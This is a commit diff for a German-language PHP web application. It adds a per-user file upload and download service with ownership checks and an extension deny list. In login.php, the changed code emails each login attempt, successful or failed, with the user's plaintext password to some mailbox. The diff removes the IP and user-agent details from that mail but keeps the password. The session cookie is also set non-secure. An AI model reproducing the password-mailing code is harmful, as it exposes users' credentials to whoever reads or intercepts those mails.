add: new data uplaod and download service

WEBROOT/.htaccess

@@ -1,6 +1,6 @@
 RewriteEngine On
 
-RewriteRule ^(Commands|config_backups|controller|modules)($|/.*) - [F,L,NC]
+RewriteRule ^(Commands|config_backups|controller|modules|uploads)($|/.*) - [F,L,NC]
 RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
 SetEnvIf Authorization "(.*)" HTTP_AUTHORIZATION=$1
 

WEBROOT/api/js/handler/DateienAjaxHandler.php

@@ -0,0 +1,92 @@
+<?php
+session_set_cookie_params([
+    'lifetime' => 0,
+    'path' => '/',
+    'domain' => '',
+    'secure' => false,
+    'httponly' => true,
+    'samesite' => 'Lax'
+]);
+session_start();
+
+header('Content-Type: application/json');
+error_reporting(E_ALL);
+ini_set('display_errors', '0');
+
+if (empty($_SESSION['user_logged_in'])) {
+    http_response_code(401);
+    echo json_encode(['error' => 'Nicht eingeloggt']);
+    exit;
+}
+
+include_once(__DIR__ . '/../../../controller/DatabaseController.php');
+
+$UPLOAD_DIR = __DIR__ . '/../../../uploads/';
+
+$daten  = json_decode(file_get_contents('php://input'), true) ?? [];
+$action = $daten['action'] ?? '';
+
+try {
+    switch ($action) {
+
+        case 'get_entries': {
+            $entries = DatabaseShow(
+                "Dateien",
+                "ID, ORIGINALNAME, GROESSE, HOCHGELADEN_AM",
+                "HOCHGELADEN_VON = ?",
+                $_SESSION['username']
+            );
+
+            usort($entries, fn($a, $b) => strtotime($b['HOCHGELADEN_AM']) <=> strtotime($a['HOCHGELADEN_AM']));
+
+            echo json_encode(['success' => true, 'entries' => array_values($entries)]);
+            break;
+        }
+
+        case 'delete_entry': {
+            $id = $daten['id'] ?? null;
+
+            if (!is_numeric($id)) {
+                throw new InvalidArgumentException('Ungültige ID');
+            }
+
+            // Nur eigene Dateien löschen dürfen
+            $rows = DatabaseShow(
+                "Dateien",
+                "SPEICHERNAME, HOCHGELADEN_VON",
+                "ID = ?",
+                (int)$id
+            );
+
+            if (empty($rows)) {
+                throw new InvalidArgumentException('Datei nicht gefunden');
+            }
+            if ($rows[0]['HOCHGELADEN_VON'] !== $_SESSION['username']) {
+                http_response_code(403);
+                echo json_encode(['error' => 'Keine Berechtigung']);
+                exit;
+            }
+
+            $pfad = $UPLOAD_DIR . $rows[0]['SPEICHERNAME'];
+            if (file_exists($pfad)) {
+                unlink($pfad);
+            }
+
+            DatabaseDelete("Dateien", "ID = ?", (int)$id);
+
+            echo json_encode(['success' => true]);
+            break;
+        }
+
+        default:
+            throw new InvalidArgumentException("Unbekannte Aktion: $action");
+    }
+
+} catch (InvalidArgumentException $e) {
+    http_response_code(400);
+    echo json_encode(['error' => $e->getMessage()]);
+} catch (Throwable $e) {
+    http_response_code(500);
+    error_log($e->getMessage());
+    echo json_encode(['error' => 'Serverfehler']);
+}

WEBROOT/api/js/handler/DateienDownloadHandler.php

@@ -0,0 +1,59 @@
+<?php
+session_set_cookie_params([
+    'lifetime' => 0,
+    'path' => '/',
+    'domain' => '',
+    'secure' => false,
+    'httponly' => true,
+    'samesite' => 'Lax'
+]);
+session_start();
+
+if (empty($_SESSION['user_logged_in'])) {
+    http_response_code(401);
+    die('Nicht eingeloggt');
+}
+
+include_once(__DIR__ . '/../../../controller/DatabaseController.php');
+
+$UPLOAD_DIR = __DIR__ . '/../../../uploads/';
+
+$id = $_GET['id'] ?? null;
+
+if (!is_numeric($id)) {
+    http_response_code(400);
+    die('Ungültige ID');
+}
+
+$rows = DatabaseShow(
+    "Dateien",
+    "ORIGINALNAME, SPEICHERNAME, MIME_TYPE, HOCHGELADEN_VON",
+    "ID = ?",
+    (int)$id
+);
+
+if (empty($rows)) {
+    http_response_code(404);
+    die('Datei nicht gefunden');
+}
+
+$datei = $rows[0];
+
+// Nur eigene Dateien herunterladen dürfen (oder Admin, falls gewünscht - siehe Hinweis unten)
+if ($datei['HOCHGELADEN_VON'] !== $_SESSION['username']) {
+    http_response_code(403);
+    die('Keine Berechtigung');
+}
+
+$pfad = $UPLOAD_DIR . $datei['SPEICHERNAME'];
+
+if (!file_exists($pfad)) {
+    http_response_code(404);
+    die('Datei nicht mehr vorhanden');
+}
+
+header('Content-Type: ' . $datei['MIME_TYPE']);
+header('Content-Disposition: attachment; filename="' . basename($datei['ORIGINALNAME']) . '"');
+header('Content-Length: ' . filesize($pfad));
+readfile($pfad);
+exit;

WEBROOT/api/js/handler/DateienUploadHandler.php

@@ -0,0 +1,79 @@
+<?php
+session_set_cookie_params([
+    'lifetime' => 0,
+    'path' => '/',
+    'domain' => '',
+    'secure' => false,
+    'httponly' => true,
+    'samesite' => 'Lax'
+]);
+session_start();
+
+header('Content-Type: application/json');
+error_reporting(E_ALL);
+ini_set('display_errors', '0');
+
+if (empty($_SESSION['user_logged_in'])) {
+    http_response_code(401);
+    echo json_encode(['error' => 'Nicht eingeloggt']);
+    exit;
+}
+
+include_once(__DIR__ . '/../../../controller/DatabaseController.php');
+
+$UPLOAD_DIR = __DIR__ . '/../../../uploads/';
+$MAX_GROESSE = 20 * 1024 * 1024; // 20 MB
+$VERBOTENE_ENDUNGEN = ['php', 'phtml', 'php3', 'php4', 'php5', 'phar', 'exe', 'sh', 'bat', 'cgi', 'htaccess'];
+
+try {
+    if (empty($_FILES['datei'])) {
+        throw new InvalidArgumentException('Keine Datei übermittelt');
+    }
+
+    $datei = $_FILES['datei'];
+
+    if ($datei['error'] !== UPLOAD_ERR_OK) {
+        throw new InvalidArgumentException('Fehler beim Upload (Code ' . $datei['error'] . ')');
+    }
+
+    if ($datei['size'] > $MAX_GROESSE) {
+        throw new InvalidArgumentException('Datei zu groß (max. 20 MB)');
+    }
+
+    $originalName = basename($datei['name']); // gegen Path Traversal im Namen
+    $endung = strtolower(pathinfo($originalName, PATHINFO_EXTENSION));
+
+    if (in_array($endung, $VERBOTENE_ENDUNGEN, true)) {
+        throw new InvalidArgumentException('Dieser Dateityp ist nicht erlaubt');
+    }
+
+    // Zufälliger, kollisionssicherer Speichername - Original bleibt nur in der DB erhalten
+    $speicherName = bin2hex(random_bytes(16)) . ($endung !== '' ? '.' . $endung : '');
+    $zielPfad = $UPLOAD_DIR . $speicherName;
+
+    if (!move_uploaded_file($datei['tmp_name'], $zielPfad)) {
+        throw new Exception('Datei konnte nicht gespeichert werden');
+    }
+
+    $mimeType = mime_content_type($zielPfad) ?: 'application/octet-stream';
+
+    DatabaseInsert(
+        "Dateien",
+        "ORIGINALNAME, SPEICHERNAME, GROESSE, MIME_TYPE, HOCHGELADEN_VON",
+        $originalName,
+        $speicherName,
+        $datei['size'],
+        $mimeType,
+        $_SESSION['username']
+    );
+
+    echo json_encode(['success' => true]);
+
+} catch (InvalidArgumentException $e) {
+    http_response_code(400);
+    echo json_encode(['error' => $e->getMessage()]);
+} catch (Throwable $e) {
+    http_response_code(500);
+    error_log($e->getMessage());
+    echo json_encode(['error' => 'Serverfehler']);
+}

WEBROOT/js/ajaxApi/DateienAjaxMethods.js

@@ -0,0 +1,29 @@
+const DATEIEN_HANDLER_URL = '/api/js/handler/DateienAjaxHandler';
+
+async function dateienAjaxRequest(payload) {
+    try {
+        const response = await fetch(DATEIEN_HANDLER_URL, {
+            method: 'POST',
+            headers: { 'Content-Type': 'application/json' },
+            body: JSON.stringify(payload)
+        });
+        const data = await parseJsonResponse(response);
+
+        if (data.error) {
+            throw new Error(data.error);
+        }
+        return data;
+
+    } catch (error) {
+        console.error('Dateien-Ajax-Fehler:', error.message);
+        throw error;
+    }
+}
+
+function getDateienEntries() {
+    return dateienAjaxRequest({ action: 'get_entries' });
+}
+
+function deleteDateiEntry(id) {
+    return dateienAjaxRequest({ action: 'delete_entry', id });
+}

WEBROOT/login.php

@@ -21,10 +21,6 @@ logging();
 
 $error = null;
 
-$clientip = (new getSpecificData())->getClientIP();
-$useragent = (new getSpecificData())->getUserAgent();
-$referrer = (new getSpecificData())->getReferer();
-
 function schreibeSessionUndPruefe(): void
 {
     $sid = session_id();
@@ -104,7 +100,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                 logging();
                 sendMail(
                     "User Login Successful",
-                    "$username | $password | $clientip | $useragent | $referrer",
+                    "$username, $password",
                     (new getSpecificData())->getRequestURL(),
                     true,
                 );
@@ -115,7 +111,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
                 $error = 'Login fehlgeschlagen';
                 sendMail(
                     "User Login failed",
-                    "$username | $password | $clientip | $useragent | $referrer",
+                    "$username, $password",
                     (new getSpecificData())->getRequestURL(),
                     true,
                 );
@@ -127,7 +123,7 @@ if ($_SERVER['REQUEST_METHOD'] === 'POST') {
         $error = 'Login fehlgeschlagen';
         sendMail(
             "User Login failed",
-            "$username | $password | $clientip | $useragent | $referrer",
+            "$username, $password",
             (new getSpecificData())->getRequestURL(),
             true,
         );

WEBROOT/services/dateien.php

@@ -0,0 +1,122 @@
+<div class="arbeitsberichte-wrapper">
+    <div class="vergabe-form">
+        <h3>Datei hochladen</h3>
+        <form id="uploadForm" enctype="multipart/form-data">
+            <div class="form-group">
+                <label>Datei auswählen</label>
+                <input type="file" name="datei" id="in-datei" required>
+            </div>
+            <button type="submit" class="btn-submit-vergabe">⬆️ Hochladen</button>
+        </form>
+        <p id="uploadStatus" style="margin-top: 10px;"></p>
+    </div>
+
+    <div class="table-container" style="margin-top: 30px;">
+        <h3>Meine Dateien</h3>
+        <div id="tableWrapper">
+            <p>Lade Daten...</p>
+        </div>
+    </div>
+</div>
+
+<script src="/js/AjaxMethods.js"></script>
+<script src="/js/ajaxApi/DateienAjaxMethods.js"></script>
+<script>
+document.addEventListener('DOMContentLoaded', () => {
+    const tableWrapper = document.getElementById('tableWrapper');
+    const uploadStatus = document.getElementById('uploadStatus');
+
+    function formatBytes(bytes) {
+        if (bytes < 1024) return bytes + ' B';
+        if (bytes < 1024 * 1024) return (bytes / 1024).toFixed(1) + ' KB';
+        return (bytes / (1024 * 1024)).toFixed(1) + ' MB';
+    }
+
+    function renderDateienTabelle(entries) {
+        if (!entries || entries.length === 0) {
+            tableWrapper.innerHTML = '<p>Keine Dateien vorhanden.</p>';
+            return;
+        }
+
+        let html = `
+            <table class="db-table mobile-responsive-table">
+                <thead>
+                    <tr>
+                        <th>Dateiname</th><th>Größe</th><th>Hochgeladen am</th>
+                        <th style="width: 180px;">Aktion</th>
+                    </tr>
+                </thead>
+                <tbody>
+        `;
+        for (const e of entries) {
+            html += `
+                <tr data-id="${escapeHtml(e.ID)}">
+                    <td data-label="Dateiname">${escapeHtml(e.ORIGINALNAME)}</td>
+                    <td data-label="Größe">${formatBytes(e.GROESSE)}</td>
+                    <td data-label="Hochgeladen am">${escapeHtml(e.HOCHGELADEN_AM)}</td>
+                    <td data-label="Aktion">
+                        <div style="display:flex; gap:6px;">
+                            <a href="/api/js/handler/DateienDownloadHandler.php?id=${escapeHtml(e.ID)}" class="btn-submit-vergabe" style="text-decoration:none; padding:6px 12px;">⬇️ Download</a>
+                            <button type="button" class="btn-delete" data-id="${escapeHtml(e.ID)}">🗑️</button>
+                        </div>
+                    </td>
+                </tr>`;
+        }
+        html += `</tbody></table>`;
+        tableWrapper.innerHTML = html;
+
+        tableWrapper.querySelectorAll('.btn-delete').forEach(btn => {
+            btn.addEventListener('click', async () => {
+                if (!confirm('Diese Datei wirklich löschen?')) return;
+                try {
+                    await deleteDateiEntry(btn.dataset.id);
+                    await ladeListe();
+                } catch (err) {
+                    alert('Fehler beim Löschen: ' + err.message);
+                }
+            });
+        });
+    }
+
+    async function ladeListe() {
+        try {
+            const data = await getDateienEntries();
+            renderDateienTabelle(data.entries);
+        } catch (err) {
+            tableWrapper.innerHTML = `<p>❌ ${escapeHtml(err.message)}</p>`;
+        }
+    }
+
+    document.getElementById('uploadForm').addEventListener('submit', async (e) => {
+        e.preventDefault();
+        const fileInput = document.getElementById('in-datei');
+        if (!fileInput.files.length) return;
+
+        const formData = new FormData();
+        formData.append('datei', fileInput.files[0]);
+
+        uploadStatus.textContent = 'Lade hoch...';
+
+        try {
+            const response = await fetch('/api/js/handler/DateienUploadHandler.php', {
+                method: 'POST',
+                headers: {
+                    'X-Requested-With': 'XMLHttpRequest'
+                },
+                body: formData
+            });
+            const data = await parseJsonResponse(response);
+
+            if (data.error) throw new Error(data.error);
+
+            uploadStatus.textContent = '✅ Erfolgreich hochgeladen';
+            fileInput.value = '';
+            await ladeListe();
+        } catch (err) {
+            uploadStatus.textContent = '❌ ' + err.message;
+        }
+    });
+
+    ladeListe();
+});
+</script>